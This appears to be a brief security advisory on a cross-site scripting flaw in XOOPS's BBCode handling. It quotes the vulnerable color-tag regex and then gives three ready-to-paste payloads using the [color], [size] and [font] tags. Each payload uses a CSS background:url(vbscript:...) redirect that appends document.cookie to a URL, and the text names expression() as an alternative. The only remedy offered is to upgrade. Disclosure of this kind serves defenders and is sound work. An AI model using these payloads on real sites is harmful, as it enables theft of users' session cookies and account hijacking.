---------------------------------------------------------------------------------------
[...]
function xoopsCodeDecode($text){
$patterns = array();
$replacements = array();
[...]
$patterns[] = "/\[color=(['\"]?)([^\"']*)\\1](.*)\[\/color\]/sU";
$replacements[] = "<span style='color: #\\2;'>\\3</span>";

Exploit :
°°°°°°°

-----------------------------------------------------------------------------------------------------------------------------
[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]

[size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/size]

[font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/font]
-----------------------------------------------------------------------------------------------------------------------------

function url() from style tag (css) and vbscript are used here to redirect 
to the url "abcdef" + the cookie with the bbcode tags [color] [size] and 
[font].
Another style function that could be used is expression().

Patch :
°°°°°°
Just download the las version of XOOPS (2.0.3).
